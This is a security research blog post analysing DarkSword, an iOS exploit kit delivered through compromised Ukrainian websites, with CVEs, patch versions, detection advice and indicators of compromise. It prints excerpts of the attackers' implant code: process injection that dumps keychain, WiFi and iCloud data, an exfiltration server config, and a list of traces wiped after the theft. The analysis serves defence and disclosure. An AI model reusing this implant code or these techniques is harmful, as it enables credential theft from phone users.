Inside DarkSword: A New iOS Exploit Kit Delivered Via Compromised Legitimate Websites
Matthias Frielingsdorf and Mateusz Krzywicki
Shortly after our publication on the Coruna exploit kit, a collaborating researcher at Lookout flagged a suspicious-looking URL possibly related to the threat actor from Russia linked with Coruna. The URL immediately drew our attention because its path concluded with /rce_module.js. We quickly established that /rce_module.js contained relative offsets for shared cache for various iPhone models (from iPhone Xs to iPhone 16) and iOS versions (between iOS 18.4 and 18.5) that were not affected by Coruna exploits. The JavaScript code was not obfuscated and featured original variable names and comments left by the exploit authors, consistent with the typical structure of Safari exploits leveraging JIT vulnerabilities.
We determined that /rce_module.js is just a part of a bigger framework and suggested that more exploits might be found where it originated. Following this lead, we tracked the URL to two Ukrainian websites hosting a malicious iframe that served as the first stage of the attack. Upon navigation to a malicious website on an iPhone with a vulnerable iOS version (18.4 - 18.6.2) and IP address from Ukraine we triggered the execution of the exploit. This is a scenario of a waterhole attack.
Our team successfully recovered a complete 1-click exploit kit with additional Safari exploit, sandbox escape, privilege escalation, and in-memory implants designed to exfiltrate sensitive data from compromised phones. The exploits specifically targeted devices running iOS versions from 18.4 through 18.6.2. The exploit that we found only had config data for iOS 18.4 - 18.6.2, and Apple gradually addressed the underlying bugs and techniques it leveraged in security patches in iOS 26.1, iOS 26.2, and iOS 26.3. While we have no evidence that these bugs and techniques were used in other exploits targeting iOS 26+ devices, we cannot rule out that possibility.
Initially, remote servers failed to fully infect our test phones due to poor exploit deployment. However, after creating a local deployment server using the captured exploit modules, we successfully achieved device infection.
What we’ve found and are reporting here is another watering hole attack targeting iPhone devices, discovered just two weeks after our Coruna / CryptoWaters investigation. This attack utilized infrastructure linked to the same threat actor that Google observed Coruna using against Ukrainians. We shared our findings with Google, whose Threat Intelligence team was already aware of the exploit chain and had already reported it to Apple. DarkSword has been observed by Google to be utilized by various threat actors, targeting entities in Ukraine, as well as in Saudi Arabia, Turkey, and Malaysia. In these cases Google has also observed that the exploits had config data for iOS 18.7. For Google's analysis, click here, and for Lookout's blog post, click here.
The name DarkSword comes from the variable inside implant code that extracts WiFi passwords from the system: const TAG = "DarkSword-WIFI-DUMP";
Overview of the chain
The exploit chain was delivered through the domains novosti[.]dn[.]ua and 7aac[.]gov[.]ua, both of which had embedded script from https://static[.]cdncounter[.]net:
/widget.js script created an invisible iframe fetching code from another file in the same domain. After several intermediary redirections, the script ultimately loaded https://static[.]cdncounter[.]net/assets/rce_loader.js, which served as the entry point for the exploit chain.
The /rce_loader.js script attempted to load /rce_worker_18.6.js and /rce_module_18.6.js, which contained offsets and a JavaScript exploit targeting iOS versions 18.6 - 18.6.2. If the device was running a different iOS version, the loader fell back to /rce_worker_18.4.js and /rce_module.js as a default.
In the next stage, the attackers deployed two sandbox escape components, /sbx0_main_18.4.js and /sbx1_main.js. Successful execution of these stages resulted in code execution within the mediaplaybackd daemon. The final stage loaded is /pe_main.js, which is also injected into mediaplaybackd and performs the kernel privilege escalation. This component also deployed multiple in-memory implants across several processes to collect and exfiltrate sensitive data from the device.
The entire chain is built in JavaScript and does not contain any traditional binary implant or mach-o library which would be injected into other processes. Exploits and injected JavaScript implants do not contain a persistence mechanism. Attack is disengaged after successful data extraction. We will detail the implant behavior in further parts of this blog post.
Infrastructure Insights and Targeting
Both entry URLs (novosti[.]dn[.]ua and 7aac[.]gov[.]ua) serving the exploit were hosted in Ukraine. We suspect that a web server or web application on those hosts had been compromised to deliver the exploit code. The malicious code was loaded through an iframe embedded in /index.html, which pointed to https://static[.]cdncounter[.]net/widget.js. The /widget.js script then created an invisible iframe that loaded the exploit directly from an infrastructure server hosted in Estonia (https://static[.]cdncounter[.]net/).
Early stages of the exploit assets/index.html and /widget.js from https://static[.]cdncounter[.]net/ contained comments written in Russian:
// если uid всё ещё нужен — просто устанавливаемsessionStorage.setItem('uid','1');// важно для Safariiframe.setAttribute("sandbox","allow-scripts allow-same-origin");
// если uid всё ещё нужен — просто устанавливаемsessionStorage.setItem('uid','1');// важно для Safariiframe.setAttribute("sandbox","allow-scripts allow-same-origin");
// если uid всё ещё нужен — просто устанавливаемsessionStorage.setItem('uid','1');// важно для Safariiframe.setAttribute("sandbox","allow-scripts allow-same-origin");
A server in Estonia hosting exploits was accessible from anywhere, but only delivered exploits to IP addresses coming from Ukraine. Given information from the NGINX server that hosted the exploits, they were last modified on December 23, 2025.
All further stages of the exploit chain contained comments written in English:
the_oob_object.splice(30,0,1,2,3,4,5,6,7);//now we should have a victim with a nice length.
the_oob_object.splice(30,0,1,2,3,4,5,6,7);//now we should have a victim with a nice length.
the_oob_object.splice(30,0,1,2,3,4,5,6,7);//now we should have a victim with a nice length.
The entire chain is not obfuscated and contains verbose logging and commentary on how to use exploits and implants.
Exploit author’s debugging functionality was also left in the code without references. For example, this is a function to hexdump kernel memory using arbitrary kernel memory read/write primitive:
We haven’t observed any further protection or targeting measures used by the operator of this kit.
Methodology
Similar to our Coruna investigation we wanted to combine static and dynamic analysis to analyze the attack. So once again we hooked up a couple of devices to a network proxy, used a VPN with an egress point in Ukraine and attempted to infect our devices.
We initially only had iPhones running iOS 18.4. and iOS 18.5 to test the infection. Unfortunately, we were not able to get past the RCE or Sandbox Escape/LPE stages of the exploit. As we did not have access to an iPhone running iOS version 18.6.x, or possess a Security Research Device (SRD) that would allow us to downgrade to earlier iOS versions. Thinking it’s the mismatch between supported iPhone model and iOS version we acquired a bunch of second-hand iPhones on iOS versions 18.6.x. With the devices on iOS 18.6.2 we finally saw that the exploit loaded the final stage /pe_main.js from the attacker's infrastructure.
Initial attempts to test the exploits from the remote servers proved highly unreliable, frequently causing crashes and kernel panics due to repeated re-exploitation attempts. This necessitated multiple device restarts and clearing the WebKit cache. We later identified that the exploits targeted vulnerabilities within the GPU process. The GPU process's handling of the original website content, such as video processing, was found to influence the exploitation reliability. As a result, we transitioned to hosting the exploits locally, which provided the added benefit of higher reliability and greater control, particularly concerning potential data exfiltration.
As the two iPhones we infected were running on iOS 18.6.2, we were not able to capture a full file system dump (there is not a jailbreak available for these devices). We captured following forensic data:
Exploited Vulnerabilities and Patched iOS Versions
The attackers begin by exploiting JavaScriptCore JIT vulnerabilities in the Safari renderer process to achieve remote code execution. Two different bugs are used depending on the target version: a JIT RegExp match vulnerability leading to type confusion affecting iOS 18.4 - 18.5 and a JIT StoreBarrierInsertionPhase vulnerability leading to use-after-free and type confusion affecting iOS 18.6 - 18.6.2. Once arbitrary memory read/write primitives are obtained, the attackers bypass Trusted Path Read-Only (TPRO) and Pointer Authentication Codes (PAC) mitigations by abusing sensitive internal dyld structures located in writable (unprotected) stack memory. This allows them to fully sidestep the SPRR and JIT Cage mitigations via thread state manipulation and achieve arbitrary code execution within the WebContent process.
With code execution established in the WebContent process, the attackers pivot to escape the sandbox via the GPU process. They exploit an out-of-bounds write vulnerability in ANGLE, combined with the same PAC bypass technique, to obtain arbitrary memory read/write and arbitrary function call primitives in the GPU process.
From the GPU process, the attackers target the XNU kernel through selector 1 in the AppleM2ScalerCSCDriver driver, triggering a Copy-On-Write vulnerability. This flaw is leveraged to establish arbitrary memory read/write and arbitrary function call primitives in the mediaplaybackd daemon via exposed XPC interfaces.
Finally, with arbitrary read/write and arbitrary function call capabilities inside mediaplaybackd, the attackers load the JavaScriptCore framework into the daemon and execute injected JavaScript code. This stage performs the final kernel privilege escalation (/pe_main.js) to achieve arbitrary memory read/write primitives in the kernel and injects in-memory JavaScript implants into other system processes on iOS to extract sensitive data from the device.
Chain
Component
CVE
Patched In
ITW?
Also Patched in:
Release Date / Added
Fix artifact
18.4
Safari - WebContent process JIT RegExp match vulnerability leading to arbitrary memory read/write primitive
GPU process -> mediaplaybackd process sandbox escape via kernel CopyOnWrite issue via selector 1 in AppleM2ScalerCSCDriver
CVE-2025-43510
26.1
No
18.7.2
12.12.2025
N/A
18.6
Kernel Privilege Escalation Vulnerability
CVE-2025-43520
26.1
No
18.7.2
12.12.2025
N/A
All components in the attack chain had previously received patches. Specifically, both kernel components were patched in iOS 26.1. However, the CVEs for these components were not added to the advisories until the same day that patches for the Safari RCE were released. Despite all vulnerabilities being exploited in the same attack, only the RCEs were officially designated as "exploited in the wild."
The blast radius of the vulnerabilities and exploits remains uncertain at this stage of the investigation. The number of affected devices could be significantly higher, depending on whether the vulnerabilities used in the DarkSword exploit can be leveraged against devices running iOS versions below 18.4 and above 26.x (specifically for local privilege escalation). Based on the assumption that all iOS 18 versions are susceptible to the majority of the vulnerabilities in this chain, approximately 17.3% of users (270,000,000) may be affected, according to data available at https://telemetrydeck.com/survey/apple/iOS/majorSystemVersions/. We reduced the number to account for the iOS 18.7.x versions that already had fixes.
We urge everyone to update to the latest available iOS version that contains fixes for all vulnerabilities used in this exploit. At the time of this publication it is: 26.3.1, 18.7.6.
Implant Behavior
The implant starts from the /pe_main.js function after the privilege escalation is done. Here is the shortened start() functionthat shows the responsible agent behavior.
constTAG = "MAIN";//const targetProcess = "bluetoothd";consttargetProcess = "SpringBoard";functionstart(){letmutexPtr = null;letmigFilterBypass = null;globalThis.xnuVersion = xnuVersion();letver = globalThis.xnuVersion;// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictionsif(ver.major == 24 && ver.minor >= 4){mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc",0x100));libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init",mutexPtr,null);migFilterBypass = newMigFilterBypass(mutexPtr);}letdriver = newlibs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__["default"]();libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].init(driver,mutexPtr);letresultPE = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].runPE();if(!resultPE)return;libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_2__["default"].init();if(migFilterBypass)migFilterBypass.start();letlaunchdTask = newlibs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass);if(!launchdTask.success()){returnfalse;}libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].initWithLaunchdTask(launchdTask);libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].deleteCrashReports();libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].createTokens();letagentLoader = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess,_raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__["default"],migFilterBypass);letagentPid = 0;if(agentLoader.inject()){agentPid = agentLoader.task.pid();libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(agentLoader.task);libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].adjustMemoryPressure(targetProcess);agentLoader.destroy();}// Inject keychain copier FIRST into securityd (has access to keychain files)// This copies keychain/keybag to /tmp with 777 permissionsconstkeychainProcess = "configd";letkeychainCopier = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](keychainProcess,_raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_12__["default"],migFilterBypass);if(keychainCopier.inject()){libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(keychainCopier.task);keychainCopier.destroy();}else{}// Inject WiFi password dump into wifid (has keychain access for WiFi)// Using wifid instead of wifianalyticsd - wifid is always activeconstwifidProcess = "wifid";letwifiDump = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](wifidProcess,_raw_loader_wifi_password_dump_js__WEBPACK_IMPORTED_MODULE_13__["default"],migFilterBypass);if(wifiDump.inject()){libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(wifiDump.task);wifiDump.destroy();}else{}// Also inject WiFi password dump into securityd (fallback for devices where wifid fails)constsecuritydProcess = "securityd";letwifiDumpSecurityd = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](securitydProcess,_raw_loader_wifi_password_securityd_js__WEBPACK_IMPORTED_MODULE_14__["default"],migFilterBypass);if(wifiDumpSecurityd.inject()){libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(wifiDumpSecurityd.task);wifiDumpSecurityd.destroy();}else{}// Inject iCloud dumper into UserEventAgent (has access to iCloud Drive files)constuserEventAgentProcess = "UserEventAgent";letiCloudDumper = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](userEventAgentProcess,_raw_loader_icloud_dumper_js__WEBPACK_IMPORTED_MODULE_15__["default"],migFilterBypass);if(iCloudDumper.inject()){libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(iCloudDumper.task);iCloudDumper.destroy();}else{}// Wait for all dumps to finishfor(leti = 1;i <= 5;i++){libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep",1);}// Inject forensics file downloader AFTER keychain copier// This will send the copied keychain files from /tmptry{letfileDownloader = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess,_raw_loader_file_downloader_js__WEBPACK_IMPORTED_MODULE_11__["default"],migFilterBypass);if(fileDownloader.inject()){libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(fileDownloader.task);fileDownloader.destroy();}}catch(injectError){// Error handling without logging}launchdTask.destroy();returntrue;}
constTAG = "MAIN";//const targetProcess = "bluetoothd";consttargetProcess = "SpringBoard";functionstart(){letmutexPtr = null;letmigFilterBypass = null;globalThis.xnuVersion = xnuVersion();letver = globalThis.xnuVersion;// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictionsif(ver.major == 24 && ver.minor >= 4){mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc",0x100));libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init",mutexPtr,null);migFilterBypass = newMigFilterBypass(mutexPtr);}letdriver = newlibs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__["default"]();libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].init(driver,mutexPtr);letresultPE = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].runPE();if(!resultPE)return;libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_2__["default"].init();if(migFilterBypass)migFilterBypass.start();letlaunchdTask = newlibs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass);if(!launchdTask.success()){returnfalse;}libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].initWithLaunchdTask(launchdTask);libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].deleteCrashReports();libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].createTokens();letagentLoader = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess,_raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__["default"],migFilterBypass);letagentPid = 0;if(agentLoader.inject()){agentPid = agentLoader.task.pid();libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(agentLoader.task);libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].adjustMemoryPressure(targetProcess);agentLoader.destroy();}// Inject keychain copier FIRST into securityd (has access to keychain files)// This copies keychain/keybag to /tmp with 777 permissionsconstkeychainProcess = "configd";letkeychainCopier = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](keychainProcess,_raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_12__["default"],migFilterBypass);if(keychainCopier.inject()){libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(keychainCopier.task);keychainCopier.destroy();}else{}// Inject WiFi password dump into wifid (has keychain access for WiFi)// Using wifid instead of wifianalyticsd - wifid is always activeconstwifidProcess = "wifid";letwifiDump = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](wifidProcess,_raw_loader_wifi_password_dump_js__WEBPACK_IMPORTED_MODULE_13__["default"],migFilterBypass);if(wifiDump.inject()){libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(wifiDump.task);wifiDump.destroy();}else{}// Also inject WiFi password dump into securityd (fallback for devices where wifid fails)constsecuritydProcess = "securityd";letwifiDumpSecurityd = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](securitydProcess,_raw_loader_wifi_password_securityd_js__WEBPACK_IMPORTED_MODULE_14__["default"],migFilterBypass);if(wifiDumpSecurityd.inject()){libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(wifiDumpSecurityd.task);wifiDumpSecurityd.destroy();}else{}// Inject iCloud dumper into UserEventAgent (has access to iCloud Drive files)constuserEventAgentProcess = "UserEventAgent";letiCloudDumper = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](userEventAgentProcess,_raw_loader_icloud_dumper_js__WEBPACK_IMPORTED_MODULE_15__["default"],migFilterBypass);if(iCloudDumper.inject()){libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(iCloudDumper.task);iCloudDumper.destroy();}else{}// Wait for all dumps to finishfor(leti = 1;i <= 5;i++){libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep",1);}// Inject forensics file downloader AFTER keychain copier// This will send the copied keychain files from /tmptry{letfileDownloader = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess,_raw_loader_file_downloader_js__WEBPACK_IMPORTED_MODULE_11__["default"],migFilterBypass);if(fileDownloader.inject()){libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(fileDownloader.task);fileDownloader.destroy();}}catch(injectError){// Error handling without logging}launchdTask.destroy();returntrue;}
constTAG = "MAIN";//const targetProcess = "bluetoothd";consttargetProcess = "SpringBoard";functionstart(){letmutexPtr = null;letmigFilterBypass = null;globalThis.xnuVersion = xnuVersion();letver = globalThis.xnuVersion;// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictionsif(ver.major == 24 && ver.minor >= 4){mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc",0x100));libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init",mutexPtr,null);migFilterBypass = newMigFilterBypass(mutexPtr);}letdriver = newlibs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__["default"]();libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].init(driver,mutexPtr);letresultPE = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].runPE();if(!resultPE)return;libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_2__["default"].init();if(migFilterBypass)migFilterBypass.start();letlaunchdTask = newlibs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass);if(!launchdTask.success()){returnfalse;}libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].initWithLaunchdTask(launchdTask);libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].deleteCrashReports();libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].createTokens();letagentLoader = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess,_raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__["default"],migFilterBypass);letagentPid = 0;if(agentLoader.inject()){agentPid = agentLoader.task.pid();libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(agentLoader.task);libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].adjustMemoryPressure(targetProcess);agentLoader.destroy();}// Inject keychain copier FIRST into securityd (has access to keychain files)// This copies keychain/keybag to /tmp with 777 permissionsconstkeychainProcess = "configd";letkeychainCopier = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](keychainProcess,_raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_12__["default"],migFilterBypass);if(keychainCopier.inject()){libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(keychainCopier.task);keychainCopier.destroy();}else{}// Inject WiFi password dump into wifid (has keychain access for WiFi)// Using wifid instead of wifianalyticsd - wifid is always activeconstwifidProcess = "wifid";letwifiDump = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](wifidProcess,_raw_loader_wifi_password_dump_js__WEBPACK_IMPORTED_MODULE_13__["default"],migFilterBypass);if(wifiDump.inject()){libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(wifiDump.task);wifiDump.destroy();}else{}// Also inject WiFi password dump into securityd (fallback for devices where wifid fails)constsecuritydProcess = "securityd";letwifiDumpSecurityd = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](securitydProcess,_raw_loader_wifi_password_securityd_js__WEBPACK_IMPORTED_MODULE_14__["default"],migFilterBypass);if(wifiDumpSecurityd.inject()){libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(wifiDumpSecurityd.task);wifiDumpSecurityd.destroy();}else{}// Inject iCloud dumper into UserEventAgent (has access to iCloud Drive files)constuserEventAgentProcess = "UserEventAgent";letiCloudDumper = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](userEventAgentProcess,_raw_loader_icloud_dumper_js__WEBPACK_IMPORTED_MODULE_15__["default"],migFilterBypass);if(iCloudDumper.inject()){libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(iCloudDumper.task);iCloudDumper.destroy();}else{}// Wait for all dumps to finishfor(leti = 1;i <= 5;i++){libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep",1);}// Inject forensics file downloader AFTER keychain copier// This will send the copied keychain files from /tmptry{letfileDownloader = newInjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess,_raw_loader_file_downloader_js__WEBPACK_IMPORTED_MODULE_11__["default"],migFilterBypass);if(fileDownloader.inject()){libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(fileDownloader.task);fileDownloader.destroy();}}catch(injectError){// Error handling without logging}launchdTask.destroy();returntrue;}
As seen above the implant contained various comments and documentation on how to use and deploy it. Another example is the config used for data exfiltration below:
// Server configuration - modify as neededconstSERVER_HOST = "sqwas[.]shapelie[.]com";constHTTP_PORT = 8882;constHTTPS_PORT = 8881;constUPLOAD_PATH = "/stats";
// Server configuration - modify as neededconstSERVER_HOST = "sqwas[.]shapelie[.]com";constHTTP_PORT = 8882;constHTTPS_PORT = 8881;constUPLOAD_PATH = "/stats";
// Server configuration - modify as neededconstSERVER_HOST = "sqwas[.]shapelie[.]com";constHTTP_PORT = 8882;constHTTPS_PORT = 8881;constUPLOAD_PATH = "/stats";
It also contained left over debugging functionality or functionality which was commented out.
// Log passwords to syslogfor(constpofpasswords){}/*
if (passwords.length > 0) {
let sent = sendWiFiPasswordsViaHTTPS(passwords);
if (sent) {
} else {
sent = sendWiFiPasswordsViaHTTP(passwords);
if (sent) {
} else {
}
}
}
*/
// Log passwords to syslogfor(constpofpasswords){}/*
if (passwords.length > 0) {
let sent = sendWiFiPasswordsViaHTTPS(passwords);
if (sent) {
} else {
sent = sendWiFiPasswordsViaHTTP(passwords);
if (sent) {
} else {
}
}
}
*/
// Log passwords to syslogfor(constpofpasswords){}/*
if (passwords.length > 0) {
let sent = sendWiFiPasswordsViaHTTPS(passwords);
if (sent) {
} else {
sent = sendWiFiPasswordsViaHTTP(passwords);
if (sent) {
} else {
}
}
}
*/
The initial modules focus on extracting passwords from the Keychain. The file downloader component is designed to upload these extracted files, along with a significant amount of other system data. Following data exfiltration, the process concludes with a file cleanup operation.
Crypto currency wallet exfiltration
Implant is locating wallet files from crypto currency applications. It’s scanning for all crypto related applications and using heuristics to find data to exfiltrate.
The file_downloader implant contains a variable FORENSIC_FILES that provides information on all the additional files which are uploaded to the attacker's infrastructure by the malware. This also nicely tells us which data categories were targeted. A full list can be found in the table below.
It misses to delete Crashes from the “main” Crashlogs directory at
/private/var/mobile/Library/Logs/CrashReporter
It also attempts to clean up temporary files created during exfiltration:
// Clean up temporary files created during extractionconsttempFilesToDelete = ["/tmp/keychain-2.db","/tmp/persona.kb","/tmp/usersession.kb","/tmp/backup_keys_cache.sqlite","/tmp/persona_private.kb","/tmp/usersession_private.kb","/tmp/System.keybag","/tmp/Backup.keybag","/tmp/persona_keychains.kb","/tmp/usersession_keychains.kb","/tmp/device.kb","/private/var/tmp/keychain-2.db","/private/var/tmp/persona.kb","/private/var/tmp/usersession.kb","/var/wireless/wifi_passwords.txt","/tmp/wifi_passwords.txt","/private/var/tmp/wifi_passwords.txt","/tmp/wifi_passwords_securityd.txt","/private/var/tmp/wifi_passwords_securityd.txt","/private/var/tmp/keychain_dump.txt","/tmp/keychain_dump.txt"];letdeletedCount = 0;for(consttempFileoftempFilesToDelete){constunlinkResult = Native.callSymbol("unlink",tempFile);if(Number(unlinkResult) === 0){deletedCount++;}}
// Clean up temporary files created during extractionconsttempFilesToDelete = ["/tmp/keychain-2.db","/tmp/persona.kb","/tmp/usersession.kb","/tmp/backup_keys_cache.sqlite","/tmp/persona_private.kb","/tmp/usersession_private.kb","/tmp/System.keybag","/tmp/Backup.keybag","/tmp/persona_keychains.kb","/tmp/usersession_keychains.kb","/tmp/device.kb","/private/var/tmp/keychain-2.db","/private/var/tmp/persona.kb","/private/var/tmp/usersession.kb","/var/wireless/wifi_passwords.txt","/tmp/wifi_passwords.txt","/private/var/tmp/wifi_passwords.txt","/tmp/wifi_passwords_securityd.txt","/private/var/tmp/wifi_passwords_securityd.txt","/private/var/tmp/keychain_dump.txt","/tmp/keychain_dump.txt"];letdeletedCount = 0;for(consttempFileoftempFilesToDelete){constunlinkResult = Native.callSymbol("unlink",tempFile);if(Number(unlinkResult) === 0){deletedCount++;}}
// Clean up temporary files created during extractionconsttempFilesToDelete = ["/tmp/keychain-2.db","/tmp/persona.kb","/tmp/usersession.kb","/tmp/backup_keys_cache.sqlite","/tmp/persona_private.kb","/tmp/usersession_private.kb","/tmp/System.keybag","/tmp/Backup.keybag","/tmp/persona_keychains.kb","/tmp/usersession_keychains.kb","/tmp/device.kb","/private/var/tmp/keychain-2.db","/private/var/tmp/persona.kb","/private/var/tmp/usersession.kb","/var/wireless/wifi_passwords.txt","/tmp/wifi_passwords.txt","/private/var/tmp/wifi_passwords.txt","/tmp/wifi_passwords_securityd.txt","/private/var/tmp/wifi_passwords_securityd.txt","/private/var/tmp/keychain_dump.txt","/tmp/keychain_dump.txt"];letdeletedCount = 0;for(consttempFileoftempFilesToDelete){constunlinkResult = Native.callSymbol("unlink",tempFile);if(Number(unlinkResult) === 0){deletedCount++;}}
Detecting DarkSword
Detecting DarkSword is different from many other spyware samples we have seen in the past. Similar to Coruna it does not launch its own implant process but leverages existing system processes to steal and exfiltrate data. This approach in itself provides more stealth than its own dedicated implant, but might also be required depending on the vulnerabilities available to the attacker. All iVerify apps are able to detect live infections of DarkSword. We’re offering iVerify Basic for free until May so anyone can check their phones. For recent infections you can use the threat hunting feature in the app.
As the malware is not cleaning up Safari’s browser history or other WebKit related databases you can use MVT or other forensic tools to find the domains used in the initial compromise. The file based indicators are not backed up, so you can only check these on device or with a full filesystem dump.
We are attaching a stix2 file which you can use with MVT to find the domains we have observed in the exploitation. We have provided indicators for suspicious crashes or unified log messages below as well.
Final Words
For the second time in a month, threat actors have employed waterhole attacks to target iPhone users. Notably, neither of these attacks were individually targeted. The combined attacks now likely affect hundreds of millions of unpatched devices running iOS versions from 13 to 18.6.2. In both instances, the tools were discovered due to significant operational security (op-sec) failures and carelessness in the deployment of the iOS offensive capabilities. These recent events prompt several key questions: How big and well equipped is the market for iOS 0-day and n-day exploits for iOS devices? How accessible are such powerful capabilities to financially motivated actors?
The availability of these exploits to other threat groups and criminals, who were also able to acquire them, raises concerns that they may be reused or serve as a blueprint for developing more sophisticated or new attacks of this nature. Given the widespread impact and the ease with which these exploits can be deployed and repurposed, we are currently withholding further details on the vulnerabilities and proofs-of-concept. However, we do intend to release additional research covering these vulnerabilities and exploit techniques in the future.
We strongly recommend updating to iOS 18.7.6 or iOS 26.3.1. This will mitigate all vulnerabilities that have been exploited in these attack chains. Furthermore, these exploits would not be effective without additional bypasses on devices where Lockdown Mode is active or on the iPhone 17 with Memory Integrity Enforcement (MIE) enabled.
Acknowledgement
We would like to acknowledge and thank Lookout and Google Threat Intelligence Group (GTIG) for their partnership throughout this investigation.
IOCs
Filesystem artifacts
Path
Description
/private/var/Keychains/keychain_dump.txt
Keychain dump
/private/var/keybags/keychain_dump.txt
Keychain dump
/private/var/tmp/keychain_dump.txt
Keychain dump
/private/var/run/keychain_dump.txt
Keychain dump
/private/var/db/keychain_dump.txt
Keychain dump
/private/var/root/keychain_dump.txt
Keychain dump
/private/var/log/keychain_dump.txt
Keychain dump
/private/var/tmp/keychain-2.db
Keychain database (copied)
/private/var/tmp/persona.kb
Persona keybag
/private/var/tmp/usersession.kb
User session keybag
/private/var/tmp/backup_keys_cache.sqlite
Backup keys cache
